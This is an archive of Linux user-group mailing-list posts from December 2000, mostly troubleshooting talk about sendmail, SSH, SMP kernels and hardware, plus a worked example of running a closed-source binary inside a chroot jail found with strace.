Thu, 14 Dec 2000, Eric F Crist wrote: > > Actually, that didn't fix it. I had to edit the file > /etc/mail/relay-domains > > with the domains. I couldn't get something to work right > with the access > > files. Maybe someone could help me? > > What version of sendmail? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From escargo at anubis.network.com Thu Dec 14 16:27:51 2000 From: escargo at anubis.network.com (David S. Cargo) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] Any outstanding deals on PCs Message-ID: <200012142227.QAA18370@rainier.network.com> I was listening to MPR's Future Tense this morning; the discussion was about PCs at bargain prices because of light demand (due to a less than accurate projection for PC demand). Are there any mass market systems in the $800-$1000 range that are really good deals? (The systems need to be Linux compatible, of course.) It would be useful to know if these "deals" are really more cost-effective than a system from local shops like General Nanosystems or Tran Micro or from mail order places like Pogo LinuxBoxen VA Research, OpenBoxen, Linux Computer Systems, etc. (or even Dell ;-) David S. Cargo From dieman at ringworld.org Thu Dec 14 19:01:23 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: ; from austad@marketwatch.com on Thu, Dec 14, 2000 at 04:00:30PM -0600 References: Message-ID: <20001214190123.F22390@ringworld.org> * Austad, Jay [001214 16:04]: > Oh yeah, almost forgot, install debian. :) Christ, your not a convert. :) -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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On Thu, 14 Dec 2000, Scott Dier wrote: > * Austad, Jay [001214 16:04]: > > Oh yeah, almost forgot, install debian. :) > > Christ, your not a convert. :) > > -- > Scott Dier #linuxos@irc.openprojects.net > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > Kupooo." > -Moguta (FFIX) > From chrisp at dusk.bitstream.net Thu Dec 14 21:00:39 2000 From: chrisp at dusk.bitstream.net (Christopher Palmer) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] ignore test Message-ID: Hi there. :) -- Chris www.innerfireworks.com From tobytoo at black-hole.com Thu Dec 14 21:55:01 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] Dual AMD mobo Message-ID: <3A399615.100B17C2@black-hole.com> I had heard that there was a mobo available to run dual AMD Tbirds, does anyone know who makes it and where it is available? From labmat at mn.mediaone.net Thu Dec 14 22:11:46 2000 From: labmat at mn.mediaone.net (Matthew LaBerge) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] RE: [TCLUG:23899] ignore test In-Reply-To: Message-ID: Hey whats up with the list no one is posting, has everyone died or moved? -----Original Message----- From: Christopher Palmer [mailto:chrisp@dusk.bitstream.net] Sent: Thursday, December 14, 2000 9:01 PM To: Twin Cities Linux User Group Subject: [TCLUG:23899] ignore test Hi there. :) -- Chris www.innerfireworks.com --------------------------------------------------------------------- To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org For additional commands, e-mail: tclug-list-help@mn-linux.org From esper at sherohman.org Thu Dec 14 22:17:09 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:49 2005 Subject: [TCLUG] RE: [TCLUG:23899] ignore test In-Reply-To: ; from labmat@mn.mediaone.net on Thu, Dec 14, 2000 at 10:11:46PM -0600 References: Message-ID: <20001214221709.B31835@sherohman.org> On Thu, Dec 14, 2000 at 10:11:46PM -0600, Matthew LaBerge wrote: > Hey whats up with the list no one is posting, has everyone died or moved? No, everyone's at the Beer Meeting. (I just got home from it, but many others are still there...) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From lerwick at tcfreenet.org Fri Dec 15 02:29:04 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:49 2005 Subject: [TCLUG] Viper 770 16mb References: <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> <00121313230500.00205@Billbob_Linux> Message-ID: <3A39D650.F8BCFD74@tcfreenet.org> Bill Layer wrote: > > Hey, you have now exceeded your allotted quota for use of the alphanumeric > sequence "tnt" :) TNT TNT TNT! From foeclan at winternet.com Fri Dec 15 08:09:34 2000 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Dual AMD mobo In-Reply-To: <3A399615.100B17C2@black-hole.com> Message-ID: I don't believe they're available yet. AMD is working on a 760MP chipset that'll support dual processors, DDR, etc, but it hasn't been released (I believe the 760 without MP has been or is about to be, though). Odds are it'll show up on amdzone.com or its sister sites, socketa.com and slota.com, when it's released. Michael Vieths Foeclan@Winternet.Com On Thu, 14 Dec 2000, b. toberman wrote: > I had heard that there was a mobo available to run dual AMD Tbirds, does > > anyone know who makes it and where it is available? > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From esper at sherohman.org Fri Dec 15 09:38:39 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Dual AMD mobo In-Reply-To: ; from foeclan@winternet.com on Fri, Dec 15, 2000 at 08:09:34AM -0600 References: <3A399615.100B17C2@black-hole.com> Message-ID: <20001215093839.A498@sherohman.org> On Fri, Dec 15, 2000 at 08:09:34AM -0600, Michael Vieths wrote: > I don't believe they're available yet. AMD is working on a 760MP chipset > that'll support dual processors, DDR, etc, but it hasn't been released (I > believe the 760 without MP has been or is about to be, though). Odds are > it'll show up on amdzone.com or its sister sites, socketa.com and > slota.com, when it's released. ISTR hearing that SMP AMD boards are supposed to be available first quarter of next year, but it's not something I've been following very closely. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From b.layer at vikingelectronics.com Fri Dec 15 09:55:39 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: <20001215093839.A498@sherohman.org> References: <3A399615.100B17C2@black-hole.com> <20001215093839.A498@sherohman.org> Message-ID: <00121509553903.00609@Billbob_Linux> Had a great time at the beer meet last night, thanks to everyone who came out - especially to ~J for organizing the events. This appears to have been the best turn-out yet, I didn't take count but it seemed like about 15 people attended? This time, the management knew who & where we were. The server, who had an amusing European-ish accent, was tops.. Thanks for the fun time, -- Bill Layer Sales Technician From austad at marketwatch.com Fri Dec 15 10:32:49 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting Message-ID: Maybe Installfests would be more fun with a keg. :) > -----Original Message----- > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > Sent: Friday, December 15, 2000 9:56 AM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Big fun beer meeting > > > Had a great time at the beer meet last night, thanks to > everyone who came out > - especially to ~J for organizing the events. This appears to > have been the > best turn-out yet, I didn't take count but it seemed like > about 15 people > attended? > > This time, the management knew who & where we were. The > server, who had an > amusing European-ish accent, was tops.. > > Thanks for the fun time, > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From chrome at real-time.com Fri Dec 15 10:45:00 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: ; from austad@marketwatch.com on Fri, Dec 15, 2000 at 10:32:49AM -0600 References: Message-ID: <20001215104500.D22614@real-time.com> > Maybe Installfests would be more fun with a keg. :) and a bottle of scotch. :) Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From jacque at fruitioninc.com Fri Dec 15 10:51:32 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting References: Message-ID: <3A3A4C14.A67FACE7@fruitioninc.com> "Austad, Jay" wrote: > Maybe Installfests would be more fun with a keg. :) I believe that sentiment was what started the beer meetings in the first place. Thanks again to everyone who came last night! I had a great time. I'm definitely looking forward to the next one. ~j From esper at sherohman.org Fri Dec 15 11:35:01 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: <20001215104500.D22614@real-time.com>; from chrome@real-time.com on Fri, Dec 15, 2000 at 10:45:00AM -0600 References: <20001215104500.D22614@real-time.com> Message-ID: <20001215113501.A741@sherohman.org> On Fri, Dec 15, 2000 at 10:45:00AM -0600, Carl Wilhelm Soderstrom wrote: > > Maybe Installfests would be more fun with a keg. :) > and a bottle of scotch. :) Just one? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From chrome at real-time.com Fri Dec 15 11:43:15 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: <20001215113501.A741@sherohman.org>; from esper@sherohman.org on Fri, Dec 15, 2000 at 11:35:01AM -0600 References: <20001215104500.D22614@real-time.com> <20001215113501.A741@sherohman.org> Message-ID: <20001215114315.A1311@real-time.com> > > and a bottle of scotch. :) > Just one? well, if certain people are there, we may need a case. :) ;> Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From chewie at wookimus.net Fri Dec 15 13:10:25 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: <20001215114315.A1311@real-time.com>; from chrome@real-time.com on Fri, Dec 15, 2000 at 11:43:15AM -0600 References: <20001215104500.D22614@real-time.com> <20001215113501.A741@sherohman.org> <20001215114315.A1311@real-time.com> Message-ID: <20001215131025.C24841@wookimus.net> On Fri, Dec 15, 2000 at 11:43:15AM -0600, Carl Wilhelm Soderstrom wrote: > > > and a bottle of scotch. :) > > Just one? > > well, if certain people are there, we may need a case. :) > ;> *blink blink* *blink blink* -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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Ironically, I tried to go to Postfix and went back to Sendmail because it was easier to understand and get working. ;-) Guess it all depends upon how long you've walked with a pair of shoes that tells you which is most comfortable. -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001215/ce139b77/attachment.pgp From Nick.T.Reinking at supervalu.com Thu Dec 14 14:00:20 2000 From: Nick.T.Reinking at supervalu.com (Nick.T.Reinking@supervalu.com) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] ssh install problems Message-ID: <0G5M00IEBJ8SZ5@mail1.supervalu.com> FYI, the newest PuTTY does support SSH2. Make sure that you downloaded it. Nick Reinking natecars@real-time.com, on 12/14/2000 12:45:06 PM To: tclug-list@lists.real-time.com @ PMDF cc: Subject: Re: [TCLUG] ssh install problems On Thu, 14 Dec 2000, Brady Hegberg wrote: > I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 box. The install > seemed to go fine. I created public and private keys in the home directory > of the user I log in as and I made sure sshd is running but I can't seem to > connect to it from a windows machine. I tried using Putty and it pulls up > a window then disappears without an error message. I tried TTSSH and it > gives me this error message: "This program does not understand the > server's version of the protocol." > > I'm an ssh neophyte - can anyone give me a pointer? Add: Protocol 1,2 to /etc/ssh/sshd_config, and restart sshd. (This is assuming you installed OpenSSH 2.3.0) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Dec 15 13:38:34 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:50 2005 Subject: [TCLUG] chroot is your friend...strace can help In-Reply-To: ; from austad@marketwatch.com on Thu, Dec 14, 2000 at 02:02:20AM -0600 References: Message-ID: <20001215133834.E24841@wookimus.net> On Thu, Dec 14, 2000 at 02:02:20AM -0600, Austad, Jay wrote: > I learned a very important thing from this though, chroot everything > you can, especially BIND. Had a little project last night. I wanted to run the 'folding@home' binary in a chroot environment. Why? 1) I don't have the source code, :. I cannot audit it's security. 2) It's in binary format. Even if I had the source code, how could I tell whether or not someone added an assembly code hack to the binary? So. Since there was no documentation available as to what files or system calls this program needed, I had to trace these things down to create the chroot environment. For those of you who do not know, chroot(1) is an application that emulates a virtual root ('/') directory heirarchy for a given binary program. As such, you must make sure that any file, library, or binary that the program expects to see is present in the fake root directory, as it will not be able to access any files outside this environment. What I found out about the 'foldingathome' binary was that it was not dynamically linked to any libraries directly: bash$ ldd foldingathome However, when I ran strace on it (system trace), I got this type of output in the stderr stream. Incidentally, I ran it with the following command line: bash$ strace ./foldingathome &> trace.out& bash$ tail -f trace.out This is what I saw (I'm going to snip it to the important stuff): execve("./foldingathome", ["./foldingathome"], [/* 34 vars */]) = 0 . . [snip] Note #1 . open("/etc/resolv.conf", O_RDONLY) = 5 . . [snip] Note #2 . socket(PF_UNIX, SOCK_STREAM, 0) = 5 connect(5, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused) close(5) = 0 . . [snip the rest] So, we can surmise that we need a few files in the filesystem for this application to run. open("/etc/resolv.conf", O_RDONLY) = 5 open("/etc/nsswitch.conf", O_RDONLY) = 5 open("/etc/ld.so.cache", O_RDONLY) = 5 open("/lib/libnss_files.so.2", O_RDONLY) = 5 open("/lib/libc.so.6", O_RDONLY) = 5 open("/lib/ld-linux.so.2", O_RDONLY) = 5 open("/etc/host.conf", O_RDONLY) = -1 ENOENT (No such file or directory) Notice that I didn't have /etc/host.conf in the chroot environment and the OS returned a ENOENT or Error No Entry. So, the lesson is this. If you don't have any information about the program, you can still figure out how it's operating with your filesystem and operating system. The final resulting command, after all the files were placed in the fake root directory was: bash$ sudo chroot /home/folding/chroot /folding/foldingathome& Now, I'll probably out any of the testing binaries (such as bash and strace) from the chroot jail. Then set up an init.d script in my real root system to start and stop this folding at home using the start-stop-daemon so that I can change the uid/gid of the program to something less powerful than root (which you need to run chroot). It may be helpful to run the binary under strace for a while during your test runs to see if anything pops up later on that you missed initially. If the program dies unexpectedly, at least you can see if it ties into a failure in a system call of some kind. Anyway, good lock chroot'ing! -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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Whatever they did in their kernel works for my system. However, the updates directory doesn't have the source RPM. Any clues as to how I can find out what they changed so I can reproduce it with a newer kernel, or on a different version of Linux? Thanks, -- Carl Patten ------------------------------------------------------------ --== Sent via Deja.com ==-- http://www.deja.com/ From dopp at acm.cs.umn.edu Fri Dec 15 14:22:20 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] SMP on Red Hat different than generic kernel? In-Reply-To: <200012152013.MAA01608@mail7.bigmailbox.com>; from myok@my-deja.com on Fri, Dec 15, 2000 at 12:13:15PM -0800 References: <200012152013.MAA01608@mail7.bigmailbox.com> Message-ID: <20001215142220.D63070@sorry.cs.umn.edu> When compiling from the kernel source, did you edit the config and choose SMP? I should still run with a single CPU if you don't compile in SMP support, but who knows. Also, you need to tell the kernel config that you have 686 CPUs. Gabe On Fri, Dec 15, 2000 at 12:13:15PM -0800, Carl Patten wrote: > Hello, all. > > Today's grand goal is to make SMP work reliably on my test system at home. I have an IBM PC 365 with two Pentium Pro-200 processors that are within 2 steppings. When I attempt to compile the generic 2.2.16 or 2.2.17 kernels myself using the SMP how-to, I get a kernel that either will not boot (halts at the "uncompressing the kernel..." message) or boots exactly every other time. > > However, installing the Red Hat 2.2.16-SMP-kernel RPM from the Red Hat updates directory produces a 100% reliable system. Whatever they did in their kernel works for my system. However, the updates directory doesn't have the source RPM. > > Any clues as to how I can find out what they changed so I can reproduce it with a newer kernel, or on a different version of Linux? > > Thanks, > > -- > Carl Patten > > > > > ------------------------------------------------------------ > --== Sent via Deja.com ==-- > http://www.deja.com/ > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Look! It's my magic nose goblins!" -- Stimpy "I finally get a good look at 'em!" -- Sven - Stimpson J. Cat and Sven Hoek in "Sven Hoek" -------------------------------------------------------------------------------- From dieman at ringworld.org Fri Dec 15 14:58:10 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] chroot is your friend...strace can help In-Reply-To: <20001215133834.E24841@wookimus.net>; from chewie@wookimus.net on Fri, Dec 15, 2000 at 01:38:34PM -0600 References: <20001215133834.E24841@wookimus.net> Message-ID: <20001215145810.B512@ringworld.org> * Chad '^chewie' Walstrom [001215 13:39]: > 1) I don't have the source code, :. I cannot audit it's security. http://cosm.mithral.com/ http://www.stanford.edu/group/pandegroup/Cosm/source.html Hrm, it still doesn't say anything. Anyhow. > 2) It's in binary format. Even if I had the source code, how I hope you dont run dnetc either, then. At least Cosm gives you a look at the low level stuff that they implement. The thing about chroot jails, is that they dont stop everything. If someone still gets access to your machine remotely, and somehow puts a staticaly linked trojan... they can still plan a awesome DDoS from your resources. Sometimes, paranoia leads to getting nothing done. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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I'll take whatever security (or even the feeling of security) I can get... Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Look! It's my magic nose goblins!" -- Stimpy "I finally get a good look at 'em!" -- Sven - Stimpson J. Cat and Sven Hoek in "Sven Hoek" -------------------------------------------------------------------------------- From austad at marketwatch.com Fri Dec 15 15:16:35 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] SMP on Red Hat different than generic kernel? Message-ID: You must also make sure you compile in RTC (real-time clock) support and disable APM if you're using SMP. > -----Original Message----- > From: dopp@acm.cs.umn.edu [mailto:dopp@acm.cs.umn.edu] > Sent: Friday, December 15, 2000 2:22 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] SMP on Red Hat different than generic kernel? > > > When compiling from the kernel source, did you edit the > config and choose > SMP? I should still run with a single CPU if you don't compile in SMP > support, but who knows. Also, you need to tell the kernel > config that you > have 686 CPUs. > > Gabe > > On Fri, Dec 15, 2000 at 12:13:15PM -0800, Carl Patten wrote: > > Hello, all. > > > > Today's grand goal is to make SMP work reliably on my test > system at home. I have an IBM PC 365 with two Pentium > Pro-200 processors that are within 2 steppings. When I > attempt to compile the generic 2.2.16 or 2.2.17 kernels > myself using the SMP how-to, I get a kernel that either will > not boot (halts at the "uncompressing the kernel..." message) > or boots exactly every other time. > > > > However, installing the Red Hat 2.2.16-SMP-kernel RPM from > the Red Hat updates directory produces a 100% reliable > system. Whatever they did in their kernel works for my > system. However, the updates directory doesn't have the source RPM. > > > > Any clues as to how I can find out what they changed so I > can reproduce it with a newer kernel, or on a different > version of Linux? > > > > Thanks, > > > > -- > > Carl Patten > > > > > > > > > > ------------------------------------------------------------ > > --== Sent via Deja.com ==-- > > http://www.deja.com/ > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > -------------------------------------------------------------- > ------------------ > Gabe Turner | X-President, > UNIX Systems Administrator, | Assoc. for > Computing Machinery > U of M Supercomputing Institute for | University > of Minnesohta > Digital Simulation and Advanced Computation | > dopp@acm.cs.umn.edu > > "Look! It's my magic nose goblins!" -- Stimpy > "I finally get a good look at 'em!" -- Sven > - Stimpson J. Cat and Sven Hoek > in "Sven Hoek" > -------------------------------------------------------------- > ------------------ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From blutgens at sistina.com Fri Dec 15 15:24:45 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] Big fun beer meeting In-Reply-To: <20001215114315.A1311@real-time.com>; from chrome@real-time.com on Fri, Dec 15, 2000 at 11:43:15AM -0600 References: <20001215104500.D22614@real-time.com> <20001215113501.A741@sherohman.org> <20001215114315.A1311@real-time.com> Message-ID: <20001215152444.A18627@socrates.sistina.com> On Fri, Dec 15, 2000 at 11:43:15AM -0600, Carl Wilhelm Soderstrom wrote: >well, if certain people are there, we may need a case. :) ahem.... > ;> -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001215/d573fad2/attachment.pgp From austad at marketwatch.com Fri Dec 15 16:08:49 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] adapter teaming Message-ID: Anyone know how to do adapter teaming with a couple of EEpro or 3c905's? I have a server that I need to put 2 NIC's in for redundancy. If one fails, the other one will still need to carry traffic. Assigning 2 ip's is not an option. I know you can do this with NT/2000 (blech), but how do you do it with Linux? Jay From kent at structural-wood.com Fri Dec 15 16:11:34 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] SMP on Red Hat different than generic kernel? References: <200012152013.MAA01608@mail7.bigmailbox.com> Message-ID: <3A3A9716.D5383F8E@structural-wood.com> Carl Patten wrote: > > Hello, all. > > Today's grand goal is to make SMP work reliably on my test system at home. I have an IBM PC 365 with two Pentium Pro-200 processors that are within 2 steppings. When I attempt to compile the generic 2.2.16 or 2.2.17 kernels myself using the SMP how-to, I get a kernel that either will not boot (halts at the "uncompressing the kernel..." message) or boots exactly every other time. > > However, installing the Red Hat 2.2.16-SMP-kernel RPM from the Red Hat updates directory produces a 100% reliable system. Whatever they did in their kernel works for my system. However, the updates directory doesn't have the source RPM. > > Any clues as to how I can find out what they changed so I can reproduce it with a newer kernel, or on a different version of Linux? > > Thanks, > > -- > Carl Patten > I think the problem is the power management stuff - turn it all off and see what happens. I thought I'd bookmarked a sight that stated this but I haven't been able to find it. I can mail you a 2.2.18 .config file that works very reliably with an SMP system. Good luck, Kent From mbresnahan1 at mmm.com Fri Dec 15 16:27:32 2000 From: mbresnahan1 at mmm.com (Michael Bresnahan) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] chroot is your friend...strace can help References: <20001215133834.E24841@wookimus.net> <20001215145810.B512@ringworld.org> Message-ID: <3A3A9AD4.46C41EAC@mmm.com> What does DDoS expand to? Mike Bresnahan Fruition Consulting Inc. From HOEFFNER at dcmir.med.umn.edu Fri Dec 15 16:28:44 2000 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] chroot is your friend...strace can help Message-ID: <001215162844.20322c5e@dcmir.med.umn.edu> Distributed Denial of Service From dopp at acm.cs.umn.edu Fri Dec 15 16:33:18 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] chroot is your friend...strace can help In-Reply-To: <3A3A9AD4.46C41EAC@mmm.com>; from mbresnahan1@mmm.com on Fri, Dec 15, 2000 at 04:27:32PM -0600 References: <20001215133834.E24841@wookimus.net> <20001215145810.B512@ringworld.org> <3A3A9AD4.46C41EAC@mmm.com> Message-ID: <20001215163318.J63070@sorry.cs.umn.edu> I think it's Distributed Denial of Service... Don't qupte me :) Gabe On Fri, Dec 15, 2000 at 04:27:32PM -0600, Michael Bresnahan wrote: > What does DDoS expand to? > > Mike Bresnahan > Fruition Consulting Inc. > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Look! It's my magic nose goblins!" -- Stimpy "I finally get a good look at 'em!" -- Sven - Stimpson J. Cat and Sven Hoek in "Sven Hoek" -------------------------------------------------------------------------------- From austad at marketwatch.com Fri Dec 15 16:27:16 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] chroot is your friend...strace can help Message-ID: Distributed Denial of Service. Tools like Trinoo and Stacheldraht are used for this. There's many others too. > -----Original Message----- > From: Michael Bresnahan [mailto:mbresnahan1@mmm.com] > Sent: Friday, December 15, 2000 4:28 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] chroot is your friend...strace can help > > > What does DDoS expand to? > > Mike Bresnahan > Fruition Consulting Inc. > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From kent at structural-wood.com Fri Dec 15 16:32:24 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] SMP on Red Hat different than generic kernel? References: <200012152013.MAA01608@mail7.bigmailbox.com> <3A3A9716.D5383F8E@structural-wood.com> Message-ID: <3A3A9BF8.CDE814B9@structural-wood.com> Kent Schumacher wrote: > > Carl Patten wrote: > > > > Hello, all. > > > > Today's grand goal is to make SMP work reliably on my test system at home. I have an IBM PC 365 with two Pentium Pro-200 processors that are within 2 steppings. When I attempt to compile the generic 2.2.16 or 2.2.17 kernels myself using the SMP how-to, I get a kernel that either will not boot (halts at the "uncompressing the kernel..." message) or boots exactly every other time. > > > > However, installing the Red Hat 2.2.16-SMP-kernel RPM from the Red Hat updates directory produces a 100% reliable system. Whatever they did in their kernel works for my system. However, the updates directory doesn't have the source RPM. > > > > Any clues as to how I can find out what they changed so I can reproduce it with a newer kernel, or on a different version of Linux? > > > > Thanks, > > > > -- > > Carl Patten > > > I think the problem is the power management stuff - turn it all off and see what happens. I thought I'd > bookmarked a sight that stated this but I haven't been able to find it. I can mail you a 2.2.18 > ..config file that works very reliably with an SMP system. > > Good luck, > Kent Oh good lord, I made another typo. Please, please everyone, don't make me feel like a Ben... :) From jeff.lehman at iname.com Fri Dec 15 16:53:23 2000 From: jeff.lehman at iname.com (Jeffrey C. Lehman) Date: Mon Jan 17 13:13:51 2005 Subject: [TCLUG] Kernel compiling error Message-ID: <5.0.0.25.2.20001215163146.030e6008@mail.digitalguy.net> I've had the same errors when trying to compile 2.2.17 and 2.2.18 kernels from tarballs on my redhat 6.2 system. i get lots of errors during make zImage : (after make menuconfig, make dep, and make clean) /tmp/ccWI7gpw.s:700: Warning: using `%eax' instead of `%ax' due to `l' suffix {standard input}:1308: Warning: indirect lcall without `*' pmap_clnt.c:149:47: warning: pasting would not give a valid preprocessing token the last one happens with floppy.c, svcsock.c, schd.c, xprt.c and others too. i have a feeling i'm doing something stupid so i can paste the whole process if that helps.. Thanks for the help, Jeff From blutgens at sistina.com Fri Dec 15 17:11:13 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Fwd: Message-ID: <20001215171113.A20902@socrates.sistina.com> These are some rough performance comparisons of GFS and it's rival filesystems. These numbers aren't very up to date as some improvements have been made to deallocation and such since these. ----- Forwarded message from Ken Preslan ----- Reiserfs: jubjub:kpreslan:40:time tar xf ~/kpreslan.tar 4.460u 98.090s 2:45.91 61.8% 0+0k 0+0io 391072pf+0w jubjub:kpreslan:76:time tar cf /dev/null kpreslan 2.480u 4.580s 0:51.57 13.6% 0+0k 0+0io 156pf+0w 